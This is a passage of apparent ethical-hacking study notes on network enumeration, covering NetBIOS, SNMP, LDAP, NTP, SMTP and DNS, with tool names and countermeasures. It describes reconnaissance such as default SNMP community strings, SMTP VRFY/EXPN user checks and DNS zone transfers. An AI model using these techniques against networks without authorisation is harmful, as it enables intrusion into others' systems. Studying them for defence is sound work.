  627. NetBIOS Enumeration
  628. NetBIOS stands for Network Basic Input Output System. It Allows computer communication over a LAN and allows them to share files and printers.
  629. NetBIOS names are used to identify network devices over TCP/IP (Windows). It must be unique on a network, limited to 16 characters where 15 characters are used for the device name and the 16th character is reserved for identifying the type of service running or name record type.
  630. Attackers use the NetBIOS enumeration to obtain:
  631. List of computers that belong to a domain
  632. List of shares on the individual hosts on the network
  633. Policies and passwords
  634. Commands and tools used:
  635. Nbtstat: utility used to find protocol statistics, NetBIOS name table and name cache details
  636. Superscan: GUI tool used to enumerate windows machine
  637. Net view: command line tool to identify shared resources on a network
  638. SNMP Enumeration
  639. SNMP (Simple Network Management Protocol) is an application layer protocol which uses UDP protocol to maintain and manage routers, hubs and switches other network devices on an IP network. SNMP is a very common protocol found enabled on a variety of operating systems like Windows Server, Linux & UNIX servers as well as network devices like routers, switches etc.
  640. SNMP enumeration is used to enumerate user accounts, passwords, groups, system names, devices on a target system.
  641. It consists of three major components:
  642. Managed Device: A managed device is a device or a host (technically known as a node) which has the SNMP service enabled. These devices could be routers, switches, hubs, bridges, computers etc.
  643. Agent: An agent can be thought of as a piece of software that runs on a managed device. Its primary job is to convert the information into SNMP compatible format for the smooth management of the network using SNMP protocol.
  644. Network Management System (NMS): These are the software systems that are used for monitoring of the network devices.
  645. An agent running on every SNMP device will be providing access to a read and writable database. The database is referred to as the management information base (MIB) which is organized hierarchically and is a virtual database containing a formal description of all the network objects identified by a specific object identifier (OID) that can be managed using SNMP. It's a giant repository of values and settings. There is a manager involved in the process, and the manager will query the agent for various details.
  646. Community strings is a text string used to authenticate communications between the management stations and network devices on which SNMP agents are hosted. Community Strings travel in clear text over the network, hence are subject to network sniffing attacks. Community Strings are sent with every network packet exchanged between the node and management station.
  647. Two types of community strings:
  648. Read only: This mode permits querying the device and reading the information, but does not permit any kind of changes to the configuration. The default community string for this mode is “public.”
  649. Read Write: In this mode, changes to the device are permitted; hence if one connects with this community string, we can even modify the remote device ’s configurations. The default community string for this mode is “private.”
  650. when the community strings are left at the default settings, attackers take the opportunity and find the loopholes in it.
  651. Few tools:
  652. OpUtils Network Monitoring Toolset - http://www.manageengine.com
  653. SolarWinds ( best SNMP enumeration tool) - www.solarwinds.com
  654. command line tools: SNMP-WALK, SNMP-CHECK
  655. Countermeasures:
  656. Remove or disable SNMP agents on hosts
  657. Block port 161 at all perimeter network access devices
  658. Restrict access to specific IP addresses
  659. Use SNMPv3 (more secure)
  660. Implement the Group Policy security option called "Additional restrictions for anonymous connections"
  661. Access to null session pipes, null session shares, and IPsec filtering should also be restricted
  662. LDAP Enumeration
  663. The Lightweight Directory Access Protocol is a protocol used to access directory listings within Active Directory or from other Directory Services. A directory is usually compiled in a hierarchical and logical format, rather like the levels of management and employees in a company. LDAP tends to be tied into the Domain Name System to allow integrated quick lookups and fast resolution of queries. LDAP generally runs on port 389 and like other protocols tends to usually conform to a distinct set of rules (RFC's). It is possible to query the LDAP service, sometimes anonymously to determine a great deal of information that could glean the tester, valid usernames, addresses, departmental details that could be utilised in a brute force or social engineering attack.
  664. Tools:
  665. Jxplorer - http://www.jxplorer.org/
  666. LDAP Admin Tool - http://www.ldapsoft.com
  667. Countermeasures:
  668. Use NTLM or Basic authentication to limit access to known users only.
  669. By default, LDAP traffic is transmitted unsecured; use SSL technology to encrypt the traffic.
  670. Select a username different from your email address and enable account lockout.
  671. NTP Enumeration
  672. The Network Time Protocol is a protocol for synchronizing time across your network, this is especially important when utilizing Directory Services. There exists a number of time servers throughout the world that can be used to keep systems synced to each other. NTP utilizes UDP port 123. Through NTP enumeration you can gather information such as lists of hosts connected to NTP server, IP addresses, system names, and OSs running on the client system in a network. All this information can be enumerated by querying NTP server
  673. SMTP Enumeration
  674. The Simple Mail Transport Protocol is used to send email messages as opposed to POP3 or IMAP which can be used to both send and receive messages. SMTP relies on using Mail Exchange (MX) servers to direct the mail to via the Domain Name Service, however, should an MX server not be detected, SMTP will revert and try an A or alternatively SRV records. SMTP generally runs on port 25.
  675. SMTP enumeration allows us to determine valid users on the SMTP server. This is done with the help built-in SMTP commands, they are
  676. VRFY - This command is used for validating users.
  677. EXPN - This command tells the actual delivery address of aliases and mailing lists.
  678. RCPT TO - It defines the recipients of the message.
  679. Tool:
  680. NestScanTools Pro
  681. Countermeasures:
  682. Configure SMTP server either to ignore email messages to unknown recipients.
  683. Don’t include information like mail relay systems being used, Internal IP address or host information.
  684. Disable open relay feature.
  685. DNS Enumeration
  686. DNS enumeration is the process of locating all the DNS servers and their corresponding records for an organization. DNS enumeration will yield usernames, computer names, and IP addresses of potential target systems. The list of DNS record provides an overview of types of resource records (database records) stored in the zone files of the Domain Name System (DNS). The DNS implements a distributed, hierarchical, and redundant database for information associated with Internet domain names and addresses.
  687. DNS Zone Transfer used to replicate DNS data across a number of DNS servers or to back up DNS files. A user or server will perform a specific zone transfer request from a ―name server. If the name server allows zone transfers by an anonymous user to occur, all the DNS names and IP addresses hosted by the name server will be returned in human-readable ASCII text.
  688. Tools:
  689. nslookup
  690. maltego
  691. dnenum
  692. dnsrecon
  693. Countermeasures:
  694. Disable Zone transfer by untrusted hosts
  695. Ensure that private hostnames are not referenced to IP addresses within the DNS zone files of publicly accessible DNS servers.
  696. Use premium registration services.

comments powered by Disqus